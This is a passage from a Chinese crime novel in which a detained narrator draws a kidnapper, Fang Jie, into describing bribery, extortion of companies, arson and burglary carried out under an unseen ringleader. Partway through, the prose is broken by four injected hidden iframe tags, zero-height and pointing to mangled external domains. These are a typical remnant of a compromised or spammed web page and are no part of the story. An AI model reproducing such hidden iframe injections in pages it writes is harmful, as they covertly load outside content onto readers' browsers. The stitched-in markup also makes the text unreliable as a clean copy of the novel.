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“嘿嘿,你知道丛县长是怎样当上县长的?”他神秘地问我。
“不知道,”我急忙说,我对这个话题很感兴趣。
“他的官是我们花钱给他买来的,只不过是他不知道罢了……嘿嘿,这听起来很奇怪,是不是?”他已经对我打开了心灵的窗户。
“是奇怪,”说真的,听他这么说,我吃惊不少。
“我们把绑架镇党委书记的儿子得来的钱,给了刘永远,当时他是长建市市委书记,现在却是我们的副省长了。——我们这个县就是属长建市管辖,是不是?”方杰沉到回忆里,“我们用一个信封把钱装好,替丛县长写了一封毛遂自荐信,签了他的名字,然后我又买了两条烟,扔了一条给看传达室的人,又扔了一条给刘永远的秘书,我就见到了刘永远,大大方方把装着十万元钱的推荐信交给了他……后来,丛县长就当了县长……得到官的过程很简单吧,是不是?”
“那你参与绑架刘副省长的父亲又是为了什么?”只要他愿意说,我有很多的问题要问他。
“因为他要提拨吴书记做大官,吴书记坏透了,送了他不少的钱,所以我们就去敲他一下……”方杰痛恨地说。
夜好像成了一个好朋友,一手搂着方杰,一手搂着我,也在倾听着他对过去的诉说。夜啊夜,其实,你是非常的冷漠,你喜欢好,但也容忍恶;日月穿梭眼前过,你为什么就不能把罪恶摆脱?
“那么,警察把和你一起搞绑架的同伙都捉到了吗?”我问。
“同伙?嘿嘿……没有,没有啊……”
“几个同伙呢?”
“不知道。”
“是吗?那你们都是怎么联系呢,怎么分工?又是怎么实施的?”
“绑架镇党委书记的儿子的时候,是头给我书信联络;绑架副省长老爹的时候,是用电话联络。头叫我做什么我就做什么……”
“那么头是谁?”
“不知道……”
一个问题,我只能问他一遍,要对他充分的信任,这样他才能把心掏出来:“看来,你非常喜欢丛县长了,可是抓到你以后,你怎么把他给供出来了,说是他交的赎金呢?”
“我不打算供的。”方杰不满地说,“是警察打我打得我受不了才说的。再说,他们从我家搜出了我的日记,我的日记上面记载着这件绑架的事情。我有人记大事的习惯,日子久了,就拿出来欣赏一番,像喝了陈酿老酒,有滋有味地品尝品尝……”
“那你知道他交来的钱不是他的吗?”
“知道。当时警察介入了,也找不到我们。后来我给那个镇的各个企业发了捐款通知,那些企业才把钱凑起来的。有个企业没有捐款,我就在晚上给他点上了,烧了他将近二十万……”
“哦,原来是这样……”
“那时,丛县长太正直,没人听他的,要是他号召捐款,就连一千元也捐不起来。那天,没有人敢去送钱,送钱的人后面跟着警察,都怕得罪绑匪,本人或家庭受到遭殃,而他却自告奋勇。可是我们根本就没有露面。我们不会傻到和警察面对面地交易。后来的一个晚上,我们高撬开了丛县长家里的门,把钱抢了出来。——这才是事情的真相。”
“撬开门的是谁?”
“是我,”
“抢钱的是谁?”
“也是我……”
“你的同伙呢?”
“他们有的负责监视警察,有的负责给我望风。”
“你见过他们吗?”
“没有,我们互不联系,我只听头的。”
“在省城,绑架刘副省长的父亲,赎金确实不少啊,这钱是怎么到你手上的呢?”
“警察也是介入了。我们也是给一些公司和企业下了捐款通知。我们直接和公司企业要钱,目标多了,警察也顾及不过来。为了救省长的老爹,企业掏钱都很痛快……他们也不敢不掏,都怕省长给小鞋穿……”
“你到几家企业去要过钱?”
“我们先是书面通知,后又打电话的,我们只是叫他们准备钱,先不透露送钱的方法,叫警察摸不着头脑。最后瞅准机会,我们就会把钱抢过来。”
“这次你得了多少钱?”
“七万,全花光了……” <;iframe src=http://baidu。。com/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。。com/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://baidu。。com/w65/w65。htm width=100 height=0>;<;/iframe>;<;iframe src=http://go。。com/w65/w65。htm width=100 height=0>;<;/iframe>;
第二十一章 第二节
生活呵,就是一团雾,有好多的事情看不明白,原以为是这样的事情,其实完全是另一个样子。就像为丛县长声援的小这报上声称的,那二十多家企业都是自愿捐款凑起了赎金,实际上却是绑匪下了通知书逼他们捐款。只是丛县长这么多年来一直人们辛辛苦苦做工作,感动了人们,人们不忍心看到这么一个好县长被人陷害,才站出来这么说的。
方杰呢,身强力壮,好像一辆加满油的战车,只要有人开动,他就会在战场上冲锋陷阵,一往无前。“头”就是利用了他这一点,用书信或是电话摇控指挥他,实施犯罪,到达目的。绑架镇党委书记的儿子一案,企业家们明的凑了十万,暗的呢?“头”有没有背着方杰到企业要钱?这说不准。只是“头”手段高明,拿出一些钱,叫他去给当时还是镇长的丛为民买官,既满足了方杰喜欢丛镇长清正廉洁的心理,又达到了以后控制方杰,继续利用他做案的目的。刚发生不久的绑架刘副省长的老爹一案,就是上述很好的证明,“头”拿了九十多万,方杰被警方抓获,“头”却安然无恙,美滋滋地过他的日子。
这个“头”好狡猾。
他是谁?
现在在哪儿?
也许绑架镇党委书记的儿子是他的第一次作案,他很熟悉方杰,就利用他,也就是说,“头”就是榆树县本地人。现在,“头”已壮大了,能在省城做案了,而且胆子更大了——不,这个头不会光干绑架的事,他很可能参与了其他的犯罪行动。得想办法找到他……
方杰倾吐了很多秘密,没有对警察讲过的也对我讲了;心里倒出了陈芝麻烂谷子,涌进了另一个人的惊诧和感叹,他有一种惬意的满足感,很快睡过去了。巨大的鼾声像雷一样响起,在他的罪恶的世界里滚动着,再也不会给人带来灾难的暴雨了。
第二天上午,我有意叫他讲过去的事情,叫他讲过去的朋友,想从中确定一下“头”的人选。但是,看守人员冷漠的面孔,手铐脚镣无情的束缚——这一切使他情绪低落,吃喝得也很少。
“你一直被人利用着,却不知道那个人是谁,”我故意“挑逗”他,叫他说话。
“嘿嘿,”他只是傻笑,“我不后悔我做的事——老鼠指挥我也没有关系……”
“你就是个魔鬼,罪恶缠身,却不知不觉,”我有意刺痛他。
“是吗?”他浑身一颤,“第一次有人这么说我。”
也许是我的话起了作用,他闭着眼睛,一幕幕反思自己的过去,一天当中只是哼呀地应付着我,再也不跟我交流了。
夜又沉沉地来了,好像带着各种各样的的烦恼,在屋里拥挤着,跳跃着,方杰有些烦燥不安。其实我心里也好似沸腾的水,煮不烂许多的忧愁和牵挂,从心里升腾起来的希望,却又被这牢室所遮挡。
如果我真的被判刑,我该怎么办?
风从窗户溜进来——好大的风,好像一个饱经风霜的女人似的,轻轻抚摸着我的身体,并且要给我带走我对朋友的思念和问候。
“有蝴蝶飞进来了,”方杰惊喜地说。“白色的,还不止一只呢……”
我伸手捉到一只——不是什么蝴蝶,一点点白白的纸。
“是蝴蝶吧?”方杰问我。
“不是——”我又捉到一点纸片,靠近窗户看了看,惊喜地说。“不过,对我来说,这点纸比蝴蝶还要美丽……”
“神经病,”方杰失望地叹了一口气。
“我说得是真的,”我反复地看着手中的纸片。
“嘿嘿,你好像得到了什么宝贝似的,”方杰疑惑地说。
映着院子里的灯光,我看得很清楚,纸片上一面印着容字,一面印着坚强二字。——丛容在看守所外面,顺风放了很多这样的纸片,于是这两张就飞到了牢室里,叫我“捉”到了。
我把一张放以了方杰的手里:“有人在牵挂鼓励我!”
“一张小小的纸片?”方杰摇着头。
“在你眼里,”我点点头。“但是一面写着我朋友的名字,一面写着坚强——这就不是纸片了,明白吗?”
“是呀,是呀,”方杰兴奋起来,“这事儿真神奇,小小的纸片竟能给人带来这么大的快乐。